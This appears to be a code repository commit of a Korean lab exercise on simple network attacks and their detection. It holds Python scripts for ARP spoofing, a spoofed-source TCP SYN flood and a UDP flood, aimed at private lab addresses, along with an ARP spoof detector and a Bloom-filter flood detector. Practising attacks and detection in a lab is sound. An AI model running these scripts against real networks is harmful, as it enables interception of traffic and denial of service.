ReyDePlata

간단한 공격 및 탐지 실습

1 +from time import sleep
2 +from scapy.layers.inet import IP
3 +from scapy.layers.l2 import Ether, ARP
4 +from scapy.sendrecv import *
5 +
6 +def getMAC(ip):
7 + answered, unanswered=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=5, retry=3)
8 + for s, r in answered:
9 + return r.sprintf('%Ether.src%')
10 +
11 +def poisonARP(srcip, targetip, targetmac):
12 + arp=ARP(op=2, psrc=srcip, pdst=targetip, hwdst=targetmac)
13 + send(arp)
14 +
15 +def restoreARP(victimip, gatewayip, victimmac, gatewaymac):
16 + arp1=ARP(op=2, pdst=victimip, psrc=gatewayip, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=gatewaymac)
17 + arp2=ARP(op=2, pdst=gatewayip, psrc=victimip, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=victimmac)
18 + send(arp1,count=3)
19 + send(arp2,count=3)
20 +
21 +
22 +def main():
23 + gatewayip='192.168.219.1'
24 + victimip='192.168.219.102'
25 +
26 + victimmac=getMAC(victimip)
27 + gatewaymac=getMAC(gatewayip)
28 +
29 + if victimmac == None or gatewaymac == None:
30 + print('MAC 주소를 찾을 수 없습니다')
31 + return
32 +
33 + print('ARP spoofing Start -> VICTIM IP [%s]' %victimip)
34 + print('[%s]:POISON ARP table [%s] -> [%s]' %(victimip,gatewaymac,victimmac))
35 +
36 + try:
37 + while True:
38 + poisonARP(gatewayip,victimip,victimmac)
39 + poisonARP(victimip,gatewayip,gatewaymac)
40 + sleep(3)
41 + except KeyboardInterrupt:
42 + restoreARP(victimip,gatewayip,victimmac,gatewaymac)
43 + print('ARP spoofing finished -> RESTORED ARP Table')
44 +
45 +if __name__=='__main__':
46 + main()
1 +from scapy.all import *
2 +'''from scapy.layers.inet import TCP, UDP, ICMP, IP
3 +from scapy.layers.l2 import Ether
4 +from scapy.config import conf, ConfClass
5 +from scapy.sendrecv import *
6 +'''
7 +import os
8 +import random
9 +
10 +
11 +def RunFlood(vic_ip, vic_port, pkt_count):
12 + port = vic_port
13 + for i in range(0, pkt_count):
14 + pkt_IP = IP()
15 + pkt_IP.src = "%i.%i.%i.%i" % (random.randint(1,255),random.randint(1,255),random.randint(1,255), random.randint(1,255))
16 + pkt_IP.dst = vic_ip
17 + pkt_TCP = TCP()
18 + pkt_IP.sport = RandShort()
19 + pkt_IP.dport = vic_port
20 + pkt_TCP.flags = 'S'
21 +
22 + raw = Raw(b"N"*1024) # payload
23 + packet = pkt_IP/pkt_TCP/raw
24 + send(packet,verbose=0)
25 + print(pkt_IP.src, " to ", pkt_IP.dst)
26 + print(x, "packets Sent.")
27 +
28 +
29 +
30 +def main():
31 + RunFlood("192.168.219.110", 8080, 1000)
32 +
33 +if __name__ == "__main__":
34 + main()
1 +import time
2 +import socket
3 +import random
4 +import sys
5 +
6 +VICTIM_SERVER_IP="192.168.219.102"
7 +PORT_NUMBER = 123 # UDP방식 중 하나인 NTP서비스
8 +
9 +duration = 10 # 공격지속시간 10초
10 +
11 +client=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
12 +bytes=random._urandom(1024) # 무작위 패킷내용 생성을 위한 난수
13 +timeout = time.time() + duration # duration 초과 여부 확인용
14 +
15 +sent = 0
16 +
17 +while True:
18 + if time.time() > timeout:
19 + break
20 + else:
21 + pass
22 + client.sendto(bytes, (VICTIM_SERVER_IP, PORT_NUMBER))
23 + sent = sent + 1
24 + print("UDP Flooding Attack Start: " + str(sent) + " sent packets " + VICTIM_SERVER_IP + " At the port " + str(PORT_NUMBER))
25 +
1 +import scapy.all as scapy
2 +
3 +def get_mac(ip):
4 + arp_request = scapy.ARP(pdst=ip)
5 + broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
6 + arp_request_broadcast = broadcast/arp_request
7 + answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
8 + return answered_list[0][1].hwsrc
9 +
10 +def sniff(interface):
11 + scapy.sniff(iface=interface, store=False, prn=proccess_sniffed_packet)
12 +
13 +def proccess_sniffed_packet(packet):
14 + if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
15 + try:
16 + real_mac = get_mac(packet[scapy.ARP].psrc)
17 + response_mac = packet[scapy.ARP].hwsrc
18 +
19 + if real_mac != response_mac:
20 + print("ARP Spoofing Detected.")
21 + except IndexError:
22 + pass
23 +
24 +
25 +sniff("wlan0")
1 +import hashlib
2 +import math
3 +import random
4 +from fnvhash import fnv1a_32 as fnv
5 +from fnvhash import fnv1_32 as f32
6 +import sys
7 +import threading
8 +
9 +class Counting_bloom_filter(object):
10 + def __init__(self, elem_num, p): # elem_num : 삽입하고자 하는 원소 개수
11 + self.elem_num = elem_num
12 + self.positive = p # false-positive 비율
13 + self.generate_parameter()
14 + self.init_bf()
15 +
16 +
17 + def generate_parameter(self):
18 + self.length = math.ceil(-(self.elem_num* math.log(self.positive))/((math.log(2)) ** 2)) # 배열 길이
19 + self.hash_num = math.ceil((self.length/self.elem_num)*math.log(2)) #
20 +
21 +
22 + def init_bf(self):
23 + self.c_bf = [0] * self.length # array의 모든 원소에 대한 count는 0으로 초기화
24 +
25 + def insert_to_cbf(self, val):
26 + keytable = []
27 + loc1 = self.hash_func1(val)
28 + self.c_bf[loc1] += 1
29 + keytable.append(self.c_bf[loc1])
30 + loc2 = self.hash_func2(val)
31 + self.c_bf[loc2] += 1
32 + keytable.append(self.c_bf[loc2])
33 + loc3 = self.hash_func3(val)
34 + self.c_bf[loc3] += 1
35 + keytable.append(self.c_bf[loc3])
36 + return min(keytable)
37 +
38 + def add_to_cbf(self, val): # cbf에 원소 삽입
39 + # 최적의 해시 개수 hash_num에 대하여
40 + # 3개라 가정하면, i값은 0~2까지
41 + # 이 i값을 seed값 삼아 동일 sha1함수에 다른 seed값 부여하고 연산 진행
42 + # 연산 결과 나온 key값이 loc, CBF 배열의 loc번째 인덱스에 increment연산 진행
43 + # return값: 해당 값(0~threshold값 까지의 정수)
44 + for i in range(self.hash_num):
45 + loc = self.hash_func3(val, i+1)
46 + self.c_bf[loc] += 1
47 + return self.c_bf[loc]
48 +
49 +
50 + def hash_func1(self, val): #fnv32-1a
51 + hashedVal = fnv(val.encode('utf-8'))
52 + return hashedVal % self.length
53 +
54 +
55 + def hash_func2(self, val): #MD5
56 + MD5 = hashlib.md5()
57 + MD5.update(val.encode('utf-8'))
58 + hashedVal = int(MD5.hexdigest(), 16)
59 + return hashedVal % self.length
60 +
61 +
62 + def hash_func3(self, val): #sha1
63 + sha1 = hashlib.sha1()
64 + sha1.update(str(val).encode('utf-8'))
65 + val = int(sha1.hexdigest(), 16)
66 + return val % self.length
67 +
68 +
69 +def main():
70 + a = Counting_bloom_filter(100,0.001) # 100개 ip주소를 cbf에 삽입, 원하는 이론상의 최대 false positive 수치: 0.1%
71 + print(a.length) # 이 때의 배열의 길이
72 + print(a.insert_to_cbf('172.14.2.48'))
73 + print(a.hash_func1('172.14.2.48'))
74 + print(a.hash_func2('172.14.2.48'))
75 + print(a.hash_func3('172.14.2.48'))
76 + #sh = hashlib.sha1() # ip주소의 경우에 적절치 못함(리턴하는 값이 너무 큼)
77 + #re = sh.update('172.14.2.48'.encode('utf-8'))
78 + #re = int(sh.hexdigest(), 16) * a.hash_num
79 + #print(re%a.length)
80 + #print(a.look_up(10))
81 + #a.add_to_cbf(10)
82 +if __name__ == '__main__': main()
...\ No newline at end of file ...\ No newline at end of file
1 +import pyshark as pyshark
2 +import os
3 +import subprocess
4 +import CBF2 as CBF
5 +import threading
6 +import time
7 +import schedule
8 +
9 +#pps_threshold 설정 필요
10 +
11 +def LiveSniffer(net_interface, cbf):
12 + capture = pyshark.LiveCapture(interface=net_interface, bpf_filter= 'dst 192.168.219.110 && tcp') # 캡쳐 프로세스 생성
13 + capture.set_debug()
14 + for packet in capture.sniff_continuously():
15 + PktFiltering(packet, cbf)
16 +
17 +
18 +def PktFiltering(pkt, filter): # 패킷의 src IP address를 기반으로 flooding 공격 탐지(packet per second)
19 + print(pkt.ip.src, " to ", pkt.ip.dst)
20 + count = filter.insert_to_cbf(pkt.ip.src) # 해시결과들 중 최소값 리턴
21 + print(count)
22 + if count > 10: # cbf에 10 이상의 값이 매핑되어 있을 때 (threshold)
23 + print("Anomal packet flow detected. source IP: ", pkt.ip.src, ", Suspicious Alert")
24 +
25 +
26 +def CntDecrement(c_bf):
27 + for k in range (len(c_bf)):
28 + if c_bf[k]:
29 + c_bf[k] -= 1
30 + else:
31 + continue
32 + print("Dec all completed.")
33 +
34 +
35 +
36 +def main():
37 + print("capturing start")
38 +
39 + try:
40 + capture = pyshark.LiveCapture(interface='wlp2s0', bpf_filter='tcp', display_filter= 'ip.dst == 192.168.219.100') # 캡쳐 프로세스 생성
41 + #capture.set_debug()
42 + filter = CBF.Counting_bloom_filter(8000, 0.01) # CBF 초기화
43 + print("CB-Filter Length: ", filter.length)
44 + schedule.every(0.008).seconds.do(CntDecrement, filter.c_bf)
45 + for packet in capture.sniff_continuously():
46 + PktFiltering(packet, filter)
47 + schedule.run_pending()
48 +
49 + except KeyboardInterrupt:
50 + print("\nPressed Ctrl+C: End Capturing")
51 +
52 +
53 +if __name__ == "__main__":
54 + main()